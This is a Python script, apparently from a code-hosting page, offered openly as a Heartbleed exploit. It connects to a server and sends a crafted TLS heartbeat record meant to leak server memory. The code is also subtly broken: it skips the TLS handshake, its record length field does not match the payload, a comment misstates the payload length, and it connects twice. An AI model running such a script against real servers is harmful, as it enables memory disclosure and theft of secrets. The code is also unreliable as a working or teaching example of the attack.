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Copy pathHeartbleedExploit.py
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59 lines (48 loc) · 1.84 KB
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import socket
import struct
from typing import Optional, Union, Tuple
class HeartbleedExploit:
def __init__(self, server: str, port: int = 443) -> None:
self.server: str = server
self.port: int = port
self.socket: Optional[socket.socket] = None
def __enter__(self) -> "HeartbleedExploit":
self.connect()
return self
def __exit__(self, exc_type, exc_val, exc_tb) -> None:
self.disconnect()
def connect(self) -> None:
self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.socket.connect((self.server, self.port))
def disconnect(self) -> None:
if self.socket:
self.socket.close()
def send_heartbeat(self, payload: bytes) -> None:
if not self.socket:
raise RuntimeError("Socket is not connected.")
self.socket.send(b"\x18\x03\x00\x03\x01" + payload)
def receive_heartbeat(self) -> Union[None, bytes]:
if not self.socket:
raise RuntimeError("Socket is not connected.")
header: bytes = self.socket.recv(5)
if header:
typ, version, length = struct.unpack(">BHH", header)
data: bytes = self.socket.recv(length)
return data
def exploit(self) -> None:
try:
self.connect()
# Heartbeat request with payload length of 1 byte
payload: bytes = b"\x01\x00" + b"\x00\x00"
self.send_heartbeat(payload)
data: Optional[bytes] = self.receive_heartbeat()
if data:
print("Received data from server:", data)
else:
print("No data received from server.")
finally:
self.disconnect()
if __name__ == "__main__":
server_address: str = "vhost"
with HeartbleedExploit(server_address) as exploit:
exploit.exploit()